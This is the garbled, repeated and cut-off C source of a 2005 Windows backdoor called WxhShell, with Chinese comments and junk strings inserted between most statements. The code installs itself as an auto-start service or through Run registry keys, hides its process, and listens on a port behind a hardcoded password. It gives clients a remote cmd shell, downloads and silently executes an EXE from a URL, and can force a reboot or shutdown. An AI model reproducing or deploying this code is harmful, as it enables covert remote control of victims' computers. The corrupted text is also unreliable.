} PROCESS_BASIC_INFORMATION; ?(`nBlWQ5 _If@#WnoyA PROCNTQSIP NtQueryInformationProcess; ]R2Z -2 Poylq]F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D@YM}HXuj static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4`^TC[ {~B4F}ES HANDLE hProcess; TZ[Fu{gZ PROCESS_BASIC_INFORMATION pbi; $fU/9jTa a*$1la'Uf HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); duiKFNYN if(NULL == hInst ) return 0; c,[qjr#\> *}Ae9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +Fy-~Mq g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]i_):@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <R]Wy}2- $F
/p8AraK if (!NtQueryInformationProcess) return 0; Y
GcY2p<
Do{*cSd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tM?I()Y&P if(!hProcess) return 0; FdK R{dX} wTJMq`sY_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |L~gNC w~FO:/ CloseHandle(hProcess); 9N3oVHc? .Q6{$Y%l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '!|E+P- if(hProcess==NULL) return 0; ht[TMdV ,_X,V! HMODULE hMod; \gPNHL* char procName[255]; OM"T)4z unsigned long cbNeeded; b}q(YgH< 0I AaPz/e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (WU~e!} p%M(G#gOgP CloseHandle(hProcess); zs]>XO~Jg 0UAr}H.: if(strstr(procName,"services")) return 1; // 以服务启动 ph|2lLZ ph$&f0A6Xc return 0; // 注册表启动 (x*2BEn| } |RbUmuj "~,(Xa3x // 主模块 f*R_\ int StartWxhshell(LPSTR lpCmdLine) g275{2G9 { K+aJ`V SOCKET wsl; Q*{ H] BOOL val=TRUE; TJGKQyG$L int port=0; tX2>a struct sockaddr_in door; CB7R{~
$ ^
8Nr %NJ if(wscfg.ws_autoins) Install(); eB1eUK> HpgN$$\@ port=atoi(lpCmdLine); !C)> Yhv`IV-s if(port<=0) port=wscfg.ws_port; rq|czQ $@
#G+QQ_ WSADATA data; (^OC%pc if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6T'43h. : 3By>t!~Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "9Fv!*<-W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @0x.n\M_ door.sin_family = AF_INET; tGy%n[ \ door.sin_addr.s_addr = inet_addr("127.0.0.1"); cqU/Y_%l' door.sin_port = htons(port); \=:g$_l ;U:o'9^9T if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zYl+BM-j,6 closesocket(wsl); ]8j5Ou6#y return 1; 1oVD Oo } uC$4TnoQx. {&AT}7 if(listen(wsl,2) == INVALID_SOCKET) { sC*E;7gT, closesocket(wsl); <k8rSxn{ return 1; N7|W.( } "i5AAP?_]{ Wxhshell(wsl); <P)%Ms WSACleanup(); orN2(:Ct7 FU3IK3} return 0; #cg@Z 7!d<>_oH } 6b5{ }&^bR)= // 以NT服务方式启动 #T#FUI1p VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ynz5Dy.d; { ;]ZHD$g DWORD status = 0; bsS|!KT DWORD specificError = 0xfffffff; vf'jz`Z UgBY
){< serviceStatus.dwServiceType = SERVICE_WIN32; ,}xC) > serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5Szo5 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HrcnyQ`Q0 serviceStatus.dwWin32ExitCode = 0; l~>rpG serviceStatus.dwServiceSpecificExitCode = 0; oFA$X Y serviceStatus.dwCheckPoint = 0; X=7vUb,\gB serviceStatus.dwWaitHint = 0; fwGz00C/U lu(Omds+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "+OMo-<K7 if (hServiceStatusHandle==0) return; d=Ihl30m PzG:M7 status = GetLastError(); @!tmUme1c if (status!=NO_ERROR) M)It(K8R { 2FtEt+A+' serviceStatus.dwCurrentState = SERVICE_STOPPED; Vf2!0 serviceStatus.dwCheckPoint = 0; wZolg~dg serviceStatus.dwWaitHint = 0; "PM:&v serviceStatus.dwWin32ExitCode = status; [+2^n7R serviceStatus.dwServiceSpecificExitCode = specificError; = ~R3*GN SetServiceStatus(hServiceStatusHandle, &serviceStatus); >?\ !k
c return; O4+w2'., } Ki6BPi^ yOm6HA``hT serviceStatus.dwCurrentState = SERVICE_RUNNING; k$mX81 serviceStatus.dwCheckPoint = 0; _J#Hq 'K serviceStatus.dwWaitHint = 0; aQ3vG08L> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iw6M3g# } +c2>j8e6 J~ rC // 处理NT服务事件,比如:启动、停止 W`rE\P VOID WINAPI NTServiceHandler(DWORD fdwControl) -CNv=vj 3 { S 2` ;7 switch(fdwControl) S`PSFetC { Nr7.BDA case SERVICE_CONTROL_STOP: l`G:@}P>G serviceStatus.dwWin32ExitCode = 0; oieLh"$ serviceStatus.dwCurrentState = SERVICE_STOPPED; ^hTJp{ serviceStatus.dwCheckPoint = 0; YXOD
fd%L serviceStatus.dwWaitHint = 0;
B#lj8I^| { %bETr"Xom
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )%W2XvG } 8U$UI return; jWjK -q@Y case SERVICE_CONTROL_PAUSE: v\T1,Z@N^ serviceStatus.dwCurrentState = SERVICE_PAUSED; \YyU5f7'; break; %=>xzP(z case SERVICE_CONTROL_CONTINUE: 2{qG serviceStatus.dwCurrentState = SERVICE_RUNNING; k0=y_7
=(5 break; PhL5EYn case SERVICE_CONTROL_INTERROGATE: YtKX\q^. break; 7"U,N;y }; xL#oP0d<e SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0([jD25J! } ))zaL2UP. un%"s: // 标准应用程序主函数 7Et(p' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?n~j2-[< { 6@361f[ u01^ABn // 获取操作系统版本 jYx( OsIsNt=GetOsVer(); 7q=xW6 GetModuleFileName(NULL,ExeFile,MAX_PATH); :H k4i%hGk 1Vvx@1 // 从命令行安装 M& L0n%,y5 if(strpbrk(lpCmdLine,"iI")) Install(); TuR?r`P% ;Q 6e&Ips/ // 下载执行文件 p#NZ\qJ if(wscfg.ws_downexe) { ,RH986,6V if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;\0RXirk WinExec(wscfg.ws_filenam,SW_HIDE); IKj1{nZvDc } V,,iKr@TG FV,SA3 if(!OsIsNt) { mjc:0hH // 如果时win9x,隐藏进程并且设置为注册表启动 09i[2n;O HideProc(); NX/)Z&Fx: StartWxhshell(lpCmdLine); }e|]G,NZO } `&DiM@Sm else ;f*xOdi*k if(StartFromService()) ~|]\.^B // 以服务方式启动 wN.Jyb StartServiceCtrlDispatcher(DispatchTable); %ua5T9H Z else $^GnY7$!> // 普通方式启动 8`<GplO StartWxhshell(lpCmdLine); :RG6gvz p8bTR!rvz return 0; TR7TF]itb } $l0w {m!P EPfVS ZmF32Ir J>|` =========================================== ~0:c{v;4 n\,W:G9AR7 3_:k12%p Ue%5
:Sdr ]>j_
Y, ]P5u:~U " BGOI YkbLf#2AE| #include <stdio.h> u{^Kyo#v #include <string.h> H2-( #include <windows.h> bBL"F!. #include <winsock2.h> }3e+D #include <winsvc.h> \6L=^q= #include <urlmon.h> P40eK0e6 v-@@>?W- #pragma comment (lib, "Ws2_32.lib") j$Co-b1 #pragma comment (lib, "urlmon.lib") p `Z7VG %&NK|M+n #define MAX_USER 100 // 最大客户端连接数 ^hJ,1{o #define BUF_SOCK 200 // sock buffer efm<bJB2 #define KEY_BUFF 255 // 输入 buffer 0cVXUTJ|W K>~l6 #define REBOOT 0 // 重启 l1-FL-1 #define SHUTDOWN 1 // 关机 MR: {Ps&,
C5?M/xj #define DEF_PORT 5000 // 监听端口 F[Up m5*RB1 #define REG_LEN 16 // 注册表键长度 ^%.<(:k[L #define SVC_LEN 80 // NT服务名长度 \Ld7fP UNae&Zir // 从dll定义API 2sH5<5G' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =<icHt6s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G@2M&0' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (w fZ! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =X B)sC% ce\-oT // wxhshell配置信息 bv0 %{u& struct WSCFG { I
Cs1= int ws_port; // 监听端口 vhW'2<( char ws_passstr[REG_LEN]; // 口令 ?*0kQo' int ws_autoins; // 安装标记, 1=yes 0=no 7y3; F7V char ws_regname[REG_LEN]; // 注册表键名 9yPB)&"EF char ws_svcname[REG_LEN]; // 服务名 =T`-h"E~@ char ws_svcdisp[SVC_LEN]; // 服务显示名 *bK@ A2` char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,#6\:i char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *G4; int ws_downexe; // 下载执行标记, 1=yes 0=no 0v?,:]A0E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >F
v8 - char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gf@Dy6< {cFei3'q }; dLq!t@?iu> -1:asM7 // default Wxhshell configuration W\ckt]' struct WSCFG wscfg={DEF_PORT, PE>_;k-@k "xuhuanlingzhe", lAQ&PPQ 1, &R]G)f#w%* "Wxhshell", g&
Rk}/F "Wxhshell", mdd~B2"el "WxhShell Service", JB7]51WH@ "Wrsky Windows CmdShell Service", &}ow-u9c3 "Please Input Your Password: ", Q2o:wXvj 1, Nx"?'-3Hm "http://www.wrsky.com/wxhshell.exe", GupKM%kM "Wxhshell.exe" MvCBgLN }; -p }]r '1+ Bgf // 消息定义模块 ?5D7n"jY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e0P1FD<@ char *msg_ws_prompt="\n\r? for help\n\r#>"; L [^e<I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N
Jf''e3 char *msg_ws_ext="\n\rExit."; nHX@ char *msg_ws_end="\n\rQuit."; ,~!lN yL char *msg_ws_boot="\n\rReboot..."; D+U^ pl- char *msg_ws_poff="\n\rShutdown..."; _1a2Z\ char *msg_ws_down="\n\rSave to "; )Z#7%,o ,3K?=e2 char *msg_ws_err="\n\rErr!"; AWzpk}\ char *msg_ws_ok="\n\rOK!"; :c>,=FUT F&Gb[Q&a8 char ExeFile[MAX_PATH]; /"U<0jot int nUser = 0; q)/4i9
HANDLE handles[MAX_USER]; Tr8+E;; int OsIsNt; F=#Wfl-o |[ge,MO: SERVICE_STATUS serviceStatus; c=5$bo]LI SERVICE_STATUS_HANDLE hServiceStatusHandle; C,E 5/XW AG?oA328 // 函数声明 31}6dg8?n int Install(void); ?s//a_nL* int Uninstall(void); )`)cB)s int DownloadFile(char *sURL, SOCKET wsh); 86i =N_ int Boot(int flag); 9}=Fdt void HideProc(void); E4{8 $:q= int GetOsVer(void); \,WPFV int Wxhshell(SOCKET wsl); GM5::M]fS void TalkWithClient(void *cs); ^%nAx| 4xQ int CmdShell(SOCKET sock); IpWl;i`__ int StartFromService(void); o]vd xkU] int StartWxhshell(LPSTR lpCmdLine); |G1U$p jH8F^KJM[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >,[(icyzn VOID WINAPI NTServiceHandler( DWORD fdwControl ); <(v!Xj^yO C$P3&k#W // 数据结构和表定义 8ViDh SERVICE_TABLE_ENTRY DispatchTable[] = "}n]0 >J { ]k hY8it {wscfg.ws_svcname, NTServiceMain}, }*%%GPJ {NULL, NULL} 09Fr1PL }; 7-^d4P+|g Ne=D$o // 自我安装 w$p v int Install(void) 0@
-LV:jU { `
p)#! char svExeFile[MAX_PATH]; k,?k37%T] HKEY key; _jtBU strcpy(svExeFile,ExeFile); milU,!7J OlP#|x* // 如果是win9x系统,修改注册表设为自启动 }}
IvZG& if(!OsIsNt) { Nz m
7E] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mGIS[_dcs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G B15 RegCloseKey(key); j9Lc2' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n7S[ F3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3V-pLs| RegCloseKey(key); J~==<?j: return 0; TY?Fs- } +=||c\' } g;-CAd5 } H]SnM'Y else { 7&X^y+bMe6 9N9;EY-U // 如果是NT以上系统,安装为系统服务 =KX:&GU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NK#f Gz*,( if (schSCManager!=0) C&Rv)j { qp7>_B SC_HANDLE schService = CreateService NJ|8##Z> ( @Fo0uy\G schSCManager, o/Z?/alt4 wscfg.ws_svcname, O%)w!0 wscfg.ws_svcdisp, K\uR=L7 SERVICE_ALL_ACCESS, !4|7U\; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HH>]"mv SERVICE_AUTO_START, /@0wbA SERVICE_ERROR_NORMAL, .6r&<* svExeFile, )s!x)< d; NULL, ]]Wa.P~]O NULL, =|H/[",gg NULL, $} ~:x_[ NULL, eOS#@6U=u NULL N/Z<v* i" ); g4Tc (k# if (schService!=0) +YP,LDJ!v { NO'-HKHj CloseServiceHandle(schService); [~x
Ql CloseServiceHandle(schSCManager); Oq[tgmf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4-sUy strcat(svExeFile,wscfg.ws_svcname); hEDj"`Px if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9Czc$fSSt RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ur_~yX]Mo RegCloseKey(key); m+CvU?)gJ return 0; F$d`Umqs;P } /']Gnt G. } ?L'ijzP CloseServiceHandle(schSCManager); w!h!%r } 9kTU|py } !}U&%2<69 F e8xOo6 return 1; H$Q_K<V } !uHX2B+~ &Jq?tnNd // 自我卸载 L~~;i'J int Uninstall(void) 7GpSWM6 { e)O6k7U$ HKEY key; jytfGE: ZfS-W&6Z if(!OsIsNt) { iGM-#{5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YYN=`ST RegDeleteValue(key,wscfg.ws_regname); uYF_sf RegCloseKey(key); 7n5bI\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !RAyUfS RegDeleteValue(key,wscfg.ws_regname); p.)G ], RegCloseKey(key); _.zW[;84b return 0; AfyEFnY } VDBP]LRF } 8MV=? } 'xhX\?mD else { 4k}u`8 a *SLv$A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5s`NR<|2L if (schSCManager!=0) m%ak ]rv([ { ]QRhTz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qpFFvZ
W if (schService!=0) >tYptRP { a~WtW] if(DeleteService(schService)!=0) { c1Xt$[_ CloseServiceHandle(schService); ! p458~| CloseServiceHandle(schSCManager); qa2QS._m return 0; }3ty2D#/: } MX]<tR ` CloseServiceHandle(schService); uee2WGD } "2$C_aE CloseServiceHandle(schSCManager); &K/5AH"q } kF`2%g+ } gCW.;|2 ',v
-&1R return 1; ^dld\t:tV7 } [PdatL2 )lE]DG! // 从指定url下载文件 `#E1FB2M int DownloadFile(char *sURL, SOCKET wsh) z1*8 5?
{ *q\Ve)E} HRESULT hr; FlttqQQdf char seps[]= "/"; /V^Gn; char *token; >XM-xK-= char *file; ,aU_bve char myURL[MAX_PATH]; ^3^n|T7le char myFILE[MAX_PATH]; "oz qfh ^g"G1,[%w strcpy(myURL,sURL); >iDV8y token=strtok(myURL,seps); `a*[@a# while(token!=NULL) $b
QD{ { { N[~RWg file=token; )\8l6Gw token=strtok(NULL,seps); Dqs{n?@n } $_onSYWr %@Bl,!BJ, GetCurrentDirectory(MAX_PATH,myFILE); !X*+Ct^ strcat(myFILE, "\\"); 1.6yi];6 strcat(myFILE, file); WnyEdYA send(wsh,myFILE,strlen(myFILE),0); [2"a~o\ send(wsh,"...",3,0); 7o-umZ}8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D37N*9} if(hr==S_OK) f![?og)I% return 0; sB"Oi|#lk else 7jQOwzj return 1; 4$oNh)+/h 40w,:$ } N7v7b<6 Tu"bbc // 系统电源模块 &!SdO<agZ int Boot(int flag) W1dpKv { qcSlqWDk HANDLE hToken; i 3?=up! TOKEN_PRIVILEGES tkp; ?); 6]"k:3 &Op_!]8`U if(OsIsNt) { 9~/k25P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >hHjDYjbf LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O/Ub{=g tkp.PrivilegeCount = 1; G:7HL5u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mnh>gl!l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;x^WPYEj if(flag==REBOOT) { .jA'BF. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WhQK3hnm return 0; XHKiz2Pc1 } j")#"& m else { I]+xerVd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^yL6A1 return 0; '#LbIv4 } R/Y9t8kk } n;+CV~ else { WT;4J<O/ if(flag==REBOOT) { .0+=#G> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :Aj8u\3!@ return 0; GrPKJ~{6 } t.Q}V5t{g else { {Rc mjI7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o
b;] return 0; X67^@~l } 5#|D1A } X$Eg(^L a cLhHGwX=x return 1; q#s:2#= } %Z_/MNI <q\OREMsq // win9x进程隐藏模块 69/aP= void HideProc(void) HEh,Cf7`' { p)2
!_0 }% 2hBl/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WRrCrXP if ( hKernel != NULL ) s2F<H# { }.*"ezaZw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T-,T)R`R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +U9m FreeLibrary(hKernel); b* (~8JxZ } nYy%=B|> f4[fXP;A return; M:TN^ rA| } 0>{&8: Ad7N'1O // 获取操作系统版本 A.- j5C4 int GetOsVer(void) VS`
tj { E&>3 {uZI OSVERSIONINFO winfo; tV.qdy/]} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]rC2jB\,M GetVersionEx(&winfo); <KY \sb9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @2(7
ZxI return 1; eV(nexE else [u*-~( return 0; 0ndk=V } .h c-uaL V Ioqn$ // 客户端句柄模块 m{#?fR=9 int Wxhshell(SOCKET wsl) ;|yd}q=p { X;:qnnO SOCKET wsh; :)JIKP%$\) struct sockaddr_in client; 2:[
- DWORD myID; J:D{5sE<| [7Fx#o=da while(nUser<MAX_USER) Y6W#uiqk { U)v){g3w) int nSize=sizeof(client); ?`T0zpC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |)5xm N] if(wsh==INVALID_SOCKET) return 1; IkWV|E oyw*Z_ 9~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a%nksuP3 if(handles[nUser]==0) n1XJuc~ closesocket(wsh); mH`K~8pRg else 1PGY/c
nUser++; 5z/*/F=X } ,i]X^z5! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I}^Q u0ub r ,cz
yE/ return 0; xgp 6lO [ } etw.l~y K%jh6c8 // 关闭 socket IN^dJ^1+ void CloseIt(SOCKET wsh) OkNBP0e} { 78~;j1^6u closesocket(wsh); =`st1K nUser--; Xmb001 ExitThread(0); s2f6;Yc } }R&5Ye %>io$ o // 客户端请求句柄 Ty&Ok* void TalkWithClient(void *cs) ob.Br:x { 1`& Yg( JX)%iJq# SOCKET wsh=(SOCKET)cs; wjzR 8g0bQ char pwd[SVC_LEN]; Qr.SPNUFK char cmd[KEY_BUFF]; n=F|bW char chr[1]; OK] _.v} int i,j; rbt/b0ET ?zpN09e while (nUser < MAX_USER) { w|,BTM:e cM?i _m if(wscfg.ws_passstr) { F=g+R~F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n9H4~[JiC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ITssBB9 //ZeroMemory(pwd,KEY_BUFF); w. c]
i=0; UG !+&ii| while(i<SVC_LEN) { 90Sp( 0FAe5
BE7
// 设置超时 9 $&$Fe fd_set FdRead; -bP_jIZF;g struct timeval TimeOut; dy'
J~Eo7 FD_ZERO(&FdRead); O~*`YsL9 FD_SET(wsh,&FdRead); P->.eo#VG TimeOut.tv_sec=8; hU|TP3* TimeOut.tv_usec=0; gm8FmjZtf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'kb|! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -\|S=<
g |Y tZOQu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lk8[fFa4 pwd=chr[0]; h uIvXl if(chr[0]==0xd || chr[0]==0xa) { vT=?UTq pwd=0; 9aoGptgN break; h_y;NB(w } $S'~UbmYU i++; =O
o4O CF2 } 7[I%UP '$0~PH& // 如果是非法用户,关闭 socket w D}g\{P if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8!XK[zL } 5jey%)= s(0"r. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~Gj%z+< send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !;, Dlq-} M5Q7izM while(1) { d:!A`sk7 ))xP]Mu v ZeroMemory(cmd,KEY_BUFF); 7x''V5*j FzzV% // 自动支持客户端 telnet标准 gp(: o$ j=0; b?]Lx.l- while(j<KEY_BUFF) { /H'F4-> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [bh8Nj\E cmd[j]=chr[0]; /^\UB
fE if(chr[0]==0xa || chr[0]==0xd) { U9t-(`[j? cmd[j]=0; %] #XI r break; SL$ bV2T } H"vkp~u]I j++; :vXlni7N[M } YIn
H8Ex vPce6 Cl* // 下载文件 kn9e7OO## if(strstr(cmd,"http://")) { Yc3Rq4I'G send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~YQH] if(DownloadFile(cmd,wsh)) ZcE:r+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); &cf(} else +i@{h9"6g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;_6CV } |y$8!*S~( else { YwaWhBCIF ^W%#Elf) switch(cmd[0]) { :G[6c5j|V RlUX][) // 帮助 M" vd/FV case '?': { 4S1\5C9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E(-@F%Q break; _eZ*_H,\ } Ql]+,^kA@ // 安装 ~]V}wZt>h case 'i': { 8nE}RD7bx if(Install()) :lE_hY send(wsh,msg_ws_err,strlen(msg_ws_err),0); $I|6v else r7Zx<c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (RU\a]Ry break; PD$'
~2 } z,K;GZuP // 卸载 YmPNaL case 'r': { /Bs42uJ3 if(Uninstall()) 6DT^:LHS send(wsh,msg_ws_err,strlen(msg_ws_err),0); %3Tz%>n else ;"w?@ELE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jxqKPMf>@% break; O48*"Z1 } @Yj+u2! // 显示 wxhshell 所在路径 yllEg9L0z case 'p': { W|CZA char svExeFile[MAX_PATH]; O6"S=o& strcpy(svExeFile,"\n\r"); 6%a:^f] strcat(svExeFile,ExeFile); @8eQ|.q]Q send(wsh,svExeFile,strlen(svExeFile),0); *?3c2Jg=E break; Ku`u%5< } "ph<V,lg // 重启 +)ba9bJ| case 'b': { ;ZoEqMv send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wfQ^3HL if(Boot(REBOOT)) b Od<x
>@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bdr'd? u<A else { &w%--!T closesocket(wsh); 5>\~jf ExitThread(0); )>;V72 } 952l1c! break; 4A)@,t9+ } h,zM*z A_ // 关机 l4$Iv: case 'd': { /i)>|U
4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @0 #JY:" if(Boot(SHUTDOWN)) CmxQb,Ul s send(wsh,msg_ws_err,strlen(msg_ws_err),0); ybU_x else { c^1tXu|& closesocket(wsh); B+2EIaI ExitThread(0); @hwe } sR;u#". break; Xv<K>i>k } ({0:1*lF@ // 获取shell *CCh\+S7m case 's': { VT [TE CmdShell(wsh); H b?0?^# closesocket(wsh); bbs'>D3 ExitThread(0); :Z&<5 break; ^v5<* uf%m } <Uc?#;%Y} // 退出 fM`.v+ case 'x': { )F_nK f"a send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -pW*6??+? CloseIt(wsh); Q<>b3X>O break; G|b
I$ } Q 6n!u; // 离开 3I G<Ot9 case 'q': { "A]#KTP send(wsh,msg_ws_end,strlen(msg_ws_end),0); yJ4ZB/ZQ closesocket(wsh); #QNa|
f#= WSACleanup(); y.$Ae1a= exit(1); 8/k"A-m break; gC+?5_=< } C7FxV2 } 6aKfcvf & } nc^DFP +_1sFH` // 提示信息 weH3\@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hgK
4;R } =Q*x=}NH } s#H_QOE 0.[tEnLZ return; qLV3Y?S!L } VWK%6Ye0 $wC'qV
* // shell模块句柄 "0 $UnR int CmdShell(SOCKET sock) _tRRIW"Vx" { nJ}@9v F/ STARTUPINFO si; H[RX~Xk2E ZeroMemory(&si,sizeof(si)); 8n35lI(
[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y @Ur} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e}+Zj'5 PROCESS_INFORMATION ProcessInfo; K3k{q90
char cmdline[]="cmd"; h [@}}6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lp)P7Yt- return 0; s:3b. *t< } !Ahxi);a AsI\#wL) // 自身启动模式 8Si3
aq3 int StartFromService(void) F*T$n"^ { ]\y]8v5( typedef struct (H8JV1J { i1ScXKO DWORD ExitStatus; NFyKTA6 DWORD PebBaseAddress; GOOm] ]I DWORD AffinityMask; {y'4&vt<~ DWORD BasePriority; G@txX
' ULONG UniqueProcessId; hHZ'*,9 y ULONG InheritedFromUniqueProcessId; nH<#MGBS } PROCESS_BASIC_INFORMATION; >a&IFi,j t.#ara{ PROCNTQSIP NtQueryInformationProcess; '<s54 Cb GvZ[3GT static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {isL< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aS``fE;O 1|m%xX,[ HANDLE hProcess; pp{2[> PROCESS_BASIC_INFORMATION pbi; m%=*3gH]& y,/i3^y#_ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3W%j^nM if(NULL == hInst ) return 0; s(KSN/ bz}-[W+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "8R
